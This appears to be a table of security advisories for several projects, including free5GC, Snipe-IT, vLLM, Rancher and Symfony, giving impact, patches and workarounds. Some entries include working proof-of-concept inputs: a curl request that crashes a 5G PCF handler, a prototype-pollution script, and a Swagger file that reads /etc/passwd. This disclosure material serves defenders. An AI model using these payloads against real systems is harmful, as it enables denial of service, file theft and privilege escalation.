| CVE-2026-44316 | hig | 0.38 | — | — | | May 8, 2026 | ### Summary
free5GC's PCF `POST /npcf-smpolicycontrol/v1/sm-policies` handler (`HandleCreateSmPolicyRequest`) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns `404 Not Found` and the consumer wrapper returns `err != nil` together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into `HTTP 500`, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running.
The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an `Authorization` header because the PCF `Npcf_SMPolicyControl` route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated.
### Details
Validated against the PCF container in the official Docker compose lab.
- free5GC version: `v4.1.0` (originally reported on v4.1.0; same defect present in v4.2.1)
- PCF endpoint: `http://10.100.200.9:8000`
Vulnerable handler path (paraphrased from the captured stack trace):
```
[INFO][PCF][SMpolicy] Handle CreateSmPolicy
[ERRO][PCF][Consumer] openapi error: 404, Not Found
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest
/go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562
github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy
/go/src/free5gc/NFs/pcf/internal/sbi/api_smpolicy.go:86 +0x405
```
The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct.
Code evidence (paths in `free5gc/pcf`):
- Panic site:
- `NFs/pcf/internal/sbi/processor/smpolicy.go:82`
- Route dispatch:
- `NFs/pcf/internal/sbi/api_smpolicy.go:86`
### PoC
Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`.
Send a single POST whose `dnn` is unknown to UDR -- this drives the downstream OpenAPI call to return `404 Not Found`, which then triggers the nil-deref panic:
```
curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \
-H 'Content-Type: application/json' \
-d '{
"supi":"imsi-208930000000003",
"pduSessionId":1,
"dnn":"internet-bad",
"sliceInfo":{"sst":1,"sd":"010203"},
"servingNetwork":{"mcc":"208","mnc":"93"},
"accessType":"3GPP_ACCESS",
"notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify"
}'
```
Observed response: `HTTP 500 Internal Server Error` with empty body.
PCF container logs show:
```
[INFO][PCF][SMpolicy] Handle CreateSmPolicy
[ERRO][PCF][Consumer] openapi error: 404, Not Found
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
...HandleCreateSmPolicyRequest at smpolicy.go:82...
```
The Gin recovery middleware catches the panic (the captured stack trace runs inside `ginRecover.func2.1`), so the PCF process keeps serving other requests; the realized impact is per-request `HTTP 500` on this endpoint whenever the downstream lookup fails.
### Impact
NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled `4xx`/`5xx` `ProblemDetails` and stop processing.
Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a `404` returns `HTTP 500` (with empty body and a stack trace in PCF logs) instead of a controlled error response.
No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844.
Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present).
Upstream issue: https://github.com/free5gc/free5gc/issues/803
Upstream fix: https://github.com/free5gc/pcf/pull/62 |
| CVE-2026-44832 | hig | 0.38 | — | — | | May 8, 2026 | ### Impact
An authenticated user with only `users.edit` permission can escalate their own privileges to `admin` by sending a PATCH request to `/api/v1/users/{id}` with `permissions[admin]=1`. The API controller only strips the `superuser` key from the permissions array, allowing `admin` and all other permission keys to be set by any user who can update users.
### Patches
Patched in https://github.com/grokability/snipe-it/commit/ce18ff669ceb0f0349749fd5d11c1d3d40b10569, fix was released in v8.4.1
### Workarounds
None. |
| CVE-2026-42083 | hig | 0.38 | — | — | | May 7, 2026 | ### Summary
PCF Npcf_SMPolicyControl missing authentication middleware allows unauthenticated access to SM policy handlers and disclosure of subscriber SUPI
### Details
In `NewServer()`, the `smPolicyGroup` route group is created and routes are applied without attaching the router authorization middleware. In contrast, other PCF service groups such as `Npcf_PolicyAuthorization` do attach `RouterAuthorizationCheck` before route registration.
Because the middleware is missing, requests to the following endpoints can reach business logic even when no valid OAuth token is provided:
- `POST /npcf-smpolicycontrol/v1/sm-policies`
- `GET /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}`
- `POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/update`
- `POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/delete`
This is visible at runtime because unauthenticated requests return business-level responses such as `400` or `404` instead of being rejected with `401` before handler execution. Under valid lab preconditions (existing UE/session context and related policy data), unauthenticated `POST /sm-policies` can succeed with `201`, and unauthenticated `GET /sm-policies/{id}` can succeed with `200` and return policy context containing subscriber identifiers including `supi`.
The root cause is missing router auth enforcement for `Npcf_SMPolicyControl`.
Upstream also fixed this by adding `RouterAuthorizationCheck` to `smPolicyGroup` (and `uePolicyGroup`) in free5gc/pcf PR #63.
### PoC
1. Deploy free5GC with PCF reachable on the SBI network.
2. Use the PoC against the PCF service **without** an `Authorization` header:
```bash
go run /home/ubuntu/free5gc/tools/npcf-smpolicy-noauth-poc/main.go \
--pcf-root /home/ubuntu/free5gc/NFs/pcf \
--pcf-url http://10.100.200.9:8000 \
--timeout 4s
Observe that unauthenticated requests to Npcf_SMPolicyControl return business responses instead of 401.
### Impact
This is an authentication/authorization bypass on a network-accessible SBI service. Any unauthenticated actor able to reach the PCF SBI interface can invoke Npcf_SMPolicyControl handlers directly. |
| CVE-2025-11059 | hig | 0.38 | — | — | | Sep 10, 2025 | ### Impact
When generating PDF files, this vulnerability allows an attacker to read arbitrary files from the filesystem by injecting malicious link element into the prepped RFCXML.
### Workarounds
Test untrusted input with `link` elements with `rel="attachment"` before processing.
### References
This is related to [GHSA-cfmv-h8fx-85m7](https://github.com/ietf-tools/xml2rfc/security/advisories/GHSA-cfmv-h8fx-85m7). |
| CVE-2025-11058 | hig | 0.38 | — | — | | Aug 26, 2025 | ### Impact
When generating PDF files, this vulnerability allows an attacker to read arbitrary files from the filesystem by injecting malicious link element into the XML.
### Workarounds
Test untrusted input with `link` elements with `rel="attachment"` before processing.
### Credits
This vulnerability was reported by Mohamed Ouad from [Doyensec](https://doyensec.com/). |
| CVE-2025-9141 | hig | 0.38 | — | — | | Aug 21, 2025 | ### Summary
An unsafe deserialization vulnerability allows any authenticated user to execute arbitrary code on the server if they are able to get the model to pass the code as an argument to a tool call.
### Details
vLLM's [Qwen3 Coder tool parser](https://github.com/vllm-project/vllm/blob/main/vllm/entrypoints/openai/tool_parsers/qwen3coder_tool_parser.py) contains a code execution path that uses Python's `eval()` function to parse tool call parameters. This occurs during the parameter conversion process when the parser attempts to handle unknown data types.
This code path is reached when:
1. Tool calling is enabled (`--enable-auto-tool-choice`)
2. The qwen3_coder parser is specified (`--tool-call-parser qwen3_coder`)
3. The parameter type is not explicitly defined or recognized
### Impact
Remote Code Execution via Python's `eval()` function. |
| CVE-2024-22031 | hig | 0.38 | — | — | | Apr 25, 2025 | ### Impact
A vulnerability has been identified within Rancher where a user with the ability to create a project, on a certain cluster, can create a project with the same name as an existing project in a different cluster. This results in the user gaining access to the other project in the different cluster, resulting in a privilege escalation. This happens because the namespace used on the local cluster to store related resources (PRTBs and secrets) is the name of the project.
Please consult the associated [MITRE ATT&CK - Technique - Privilege Escalation](https://attack.mitre.org/tactics/TA0004/) for further information about this category of attack.
### Patches
Patched versions include releases `v2.11.1`, `v2.10.5`, `v2.9.9`.
The fix involves the following changes:
**Rancher:**
- Instead of using the project name as the namespace, Rancher will instead be using a new field on the project spec called backingNamespace. If that field exists, use that for the project namespace going forward. However, if the project does not have that field filled out (likely because it existed before this change), Rancher will continue using the name for the namespace.
**Rancher Webhook:**
- New mutation on create `project.Status.BackingNamespace` to be `SafeConcatName(project.Spec.ClusterName, project.Name)`;
- Generate the name manually within the mutating webhook, because normally, name generation happens after the mutating webhooks;
- Removed a validation where `projectName` and `Namespace` had to be the same for PRTBs, since PRTBs now go in `project.BackingNamespace`;
- On update, if `BackingNamespace` isn't set, set it to `project.Name`. For existing objects after update this will help unify them to the new projects.
- The `BackingNamespace` can't be edited after it's set.
**Note: Rancher v2.8 release line does not have the fix for this CVE. The fix for v2.8 was considered too complex and with the risk of introducing instabilities right before this version goes into end-of-life (EOL), as documented in [SUSE’s Product Support Lifecycle](https://www.suse.com/lifecycle/#suse-rancher-prime) page. Please see the section below for workarounds or consider upgrading to a newer and patched version of Rancher.**
### Workarounds
If you can't upgrade to a fixed version, please make sure that:
- Users are not allowed to create projects with the same object names from another cluster.
To identify if this security issue could have been abused within your system, you need to find if there are any projects with the same name but on different clusters. To do that, run the following command in the local cluster as an administrator:
```
kubectl get projects -A -o=custom-columns='NAME:metadata.name' | sort | uniq -c
```
That command will list all project names, and show the instances of each name. Any project with more than 1 instance is affected by this security issue. To remedy the situation, the projects will need to be deleted and re-created to ensure no namespace collisions happen. While it would be possible to delete all but 1 of the projects with the same name, this is unadvisable because a user could have given themselves access to the wrong project.
### References
If you have any questions or comments about this advisory:
- Reach out to the [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.
- Open an issue in the [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.
- Verify with our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/). |
| CVE-2025-28269 | hig | 0.38 | — | — | | Apr 7, 2025 | **Vulnerability type:**
Prototype Pollution
**Affected Package:**
* Product: js-object-utilities
* Version: 2.2.0
**Remedy:**
Update package to version 2.2.1.
**Vulnerability Location(s):**
```js
at module.exports (/node_modules/js-object-utilities/dist/set.js:16:29)
```
**Description:**
The latest version of `js-object-utilities (2.2.0)`, (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) `lib.set`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
**PoC:**
```bash
// install the package with the latest version
~$ npm install js-object-utilities@2.2.0
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
```
```js
// poc.js
(async () => {
const lib = await import('js-object-utilities');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
Reflect.apply(lib.set, {}, [someObj, "__proto__.pollutedKey", 123]);
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
```
**Reporter Credit:**
Tariq Hawis |
| CVE-2015-3542 | hig | 0.38 | — | — | | Nov 7, 2024 | PHPExcel XXE Vulnerability |
| CVE-2014-6072 | hig | 0.38 | — | — | | May 30, 2024 | All 2.0.X, 2.1.X, 2.2.X, 2.3.X, 2.4.X, and 2.5.X versions of the Symfony WebProfiler bundle are affected by this security issue.
This issue has been fixed in Symfony 2.3.19, 2.4.9, and 2.5.4. Note that no fixes are provided for Symfony 2.0, 2.1, and 2.2 as they are not maintained anymore.
### Description
The Symfony Web Profiler is a great development tool, but it should not be enabled on production servers. If it is enabled in production, it must be properly secured so that only authorized people have access to it. Developers must be very cautious about this as the Web Profiler gives many sensitive information about a Symfony project and any attackers can exploit many of them. Just to name a few sensitive information: user logins, user cookies, executed SQL statements, ...
That being said, the import/export feature of the web profiler is exploitable even if the Web Profiler is secured as the form to import a profiler is not protected against CSRF attacks. Combined with the fact that profiles are imported as a PHP serialized string, it makes your application vulnerable to code injection.
### Resolution
As the import/export feature of the Web Profiler is not that useful, and because PHP `serialize/unserialize` functions have a long history of vulnerabilities, I decided to remove this feature from the Web interface and move it as CLI commands.
If you were relying on this feature, you now need to use the `profiler:import` and `profiler:export` Symfony commands provided by the WebProfiler bundle from the command line interface.
Those commands are not enabled by default and must be activated explicitly. For Symfony 2.4+, you can import them in your `app/config.yml` configuration file:
```
import:
- { resource: "%kernel.root_dir%/../vendor/symfony/symfony/src/Symfony/Bundle/WebProfilerBundle/Resources/config/commands.xml" }
```
For Symfony 2.3, you can use the following snippet of code in `app/console`:
```
$kernel = new AppKernel($env, $debug);
$application = new Application($kernel);
if ($kernel->getContainer()->has('profiler')) {
$profiler = $kernel->getContainer()->get('profiler');
$application->add(new ImportCommand($profiler));
$application->add(new ExportCommand($profiler));
}
$application->run($input);
```
At this point, I want to reiterate that you should never enable the Symfony Web Profiler on your production servers as this is a development tool. And if you need to enable it, double-check that it is properly secured.
The patch for this issue is available here: https://github.com/symfony/symfony/pull/11832 |
| CVE-2014-5245 | hig | 0.38 | — | — | | May 30, 2024 | All 2.2.X, 2.3.X, 2.4.X, and 2.5.X versions of the Symfony HttpKernel component are affected by this security issue. Your application is vulnerable only if the ESI feature is enabled and there is a proxy in front of the web application.
This issue has been fixed in Symfony 2.3.19, 2.4.9, and 2.5.4. Note that no fixes are provided for Symfony 2.2 as it is not maintained anymore.
Description
When you enable the ESI feature and when you are using a proxy like Varnish that you configured as a trusted proxy, the `FragmentHandler` considered requests to render fragments as coming from a trusted source, even if the client was requesting them directly. Symfony can not distinguish between ESI requests done on behalf of the client by Varnish and faked fragment requests coming directly from the client.
To mitigate this issue, and for not-supported Symfony versions, you can use the following workaround in your Varnish configuration (`/_fragment` being the URL path prefix configured under the `fragment` setting of the framework bundle configuration):
Copy
sub vcl_recv {
if (req.restarts == 0 && req.url ~ "^/_fragment") {
error 400;
}
}
Resolution
We do not rely on trusted IPs anymore when validating a fragment request as all fragment URLs are now signed.
The patch for this issue is available here: https://github.com/symfony/symfony/pull/11831 |
| CVE-2014-5244 | hig | 0.38 | — | — | | May 30, 2024 | All 2.0.X, 2.1.X, 2.2.X, 2.3.X, 2.4.X, and 2.5.X versions of the Symfony HttpFoundation component are affected by this security issue.
This issue has been fixed in Symfony 2.3.19, 2.4.9, and 2.5.4. Note that no fixes are provided for Symfony 2.0, 2.1, and 2.2 as they are not maintained anymore.
Description
When an arbitrarily long hostname is sent by a client, its parsing in `Request::getHost()` can lead to a DoS attack, due to the way we validate the hostname via a regular expression.
Resolution
The regular expression used to parse and validate the hostname from the HTTP request has been modified to avoid too much sensitivity to the submitted value length.
The patch for this issue is available here: https://github.com/symfony/symfony/pull/11828 |
| CVE-2014-4931 | hig | 0.38 | — | — | | May 30, 2024 | When investigating issue [#11093](https://github.com/symfony/symfony/issues/11093), [Jeremy Derussé](https://connect.sensiolabs.com/profile/jderusse) found a serious code injection issue in the way Symfony implements translation caching in FrameworkBundle.
- Your Symfony application is vulnerable if you meet the following conditions:
- You are using the Symfony translation system from FrameworkBundle (so basically if you are using Symfony full-stack -- you are not affected if you are using the Translation component with Silex for instance);
You don't sanitize locales coming from a URL (any route with a _locale argument for instance):
When vulnerable, an attacker can submit a non-valid locale value that can contain some PHP code that will be executed by Symfony. That's because the locale value is dumped into a PHP file generated in the cache without being sanitized first. |
| CVE-2024-1314 | hig | 0.38 | — | — | | Feb 8, 2024 | ### Impact
The attachment file of an existing record can be replaced if the user has `"read"` permission on one of the parent (collection or bucket).
And if the `"read"` permission is given to `"system.Everyone"` on one of the parent, then the attachment can be replaced on a record using an anonymous request.
Note that if the parent has no explicit read permission, then the records attachments are safe.
### Patches
- Patch released in kinto-attachment 6.4.0
- https://github.com/Kinto/kinto-attachment/commit/f4a31484f5925cbc02b59ebd37554538ab826ca1
### Workarounds
None if the read permission has to remain granted.
Updating to 6.4.0 or applying the patch individually (if updating is not feasible) is strongly recommended.
### References
- https://bugzilla.mozilla.org/show_bug.cgi?id=1879034 |
| CVE-2016-1000249 | hig | 0.38 | — | — | | Sep 1, 2020 | `fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.
## Proof of Concept:
```yaml
---
swagger: '2.0'
info:
title: Read local files
version: '1.0'
paths:
/foo:
get:
responses:
200:
description: Some description
examples:
text/html:
example:
$ref: '/etc/passwd'
```
## Recommendation
Upgrade to version 0.9.7 or later. |
| CVE-2016-1000233 | hig | 0.38 | — | — | | Sep 1, 2020 | Affected versions of `swagger-ui` are vulnerable to cross-site scripting. This vulnerability exists because `swagger-ui` automatically executes external Javascript that is loaded in via the `url` query string parameter when a `Content-Type: application/javascript` header is included.
An attacker can create a server that replies with a malicious script and the proper content-type, and then craft a `swagger-ui` URL that includes the location to their server/script in the `url` query string parameter. When viewed, such a link would execute the attacker's malicious script.
## Recommendation
Update to 2.2.1 or later. |
| CVE-2016-1000231 | hig | 0.38 | — | — | | Sep 1, 2020 | Affected versions of `emojione` are vulnerable to cross-site scripting when user input is passed into the `toShort()`, `shortnameToImage()`, `unicodeToImage()`, and `toImage()` functions.
## Recommendation
Update to version 1.3.1 or later. |
| CVE-2016-1000228 | hig | 0.38 | — | — | | Sep 1, 2020 | Affected versions of `gmail-js` are vulnerable to cross-site scripting in the `tools.parse_response`, `helper.get.visible_emails_post`, and `helper.get.email_data_post` functions, which pass user input directly into the Function constructor.
## Recommendation
Update to version 0.6.5 or later. |
| CVE-2016-1000223 | hig | 0.38 | — | — | | Sep 1, 2020 | Affected versions of the `jws` package allow users to select what algorithm the server will use to verify a provided JWT. A malicious actor can use this behaviour to arbitrarily modify the contents of a JWT while still passing verification. For the common use case of the JWT as a bearer token, the end result is a complete authentication bypass with minimal effort.
## Recommendation
Update to version 3.0.0 or later. |
| CVE-2017-16087 | hig | 0.38 | — | — | | May 29, 2019 | ## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-wp3j-gv53-4pg8. This link is maintained to preserve external references.
## Original Description
Affected versions of `fs-git` do not sanitize strings passed into the `buildCommand` method, resulting in arbitrary code execution.
## Recommendation
Update to version 1.0.2 or later. |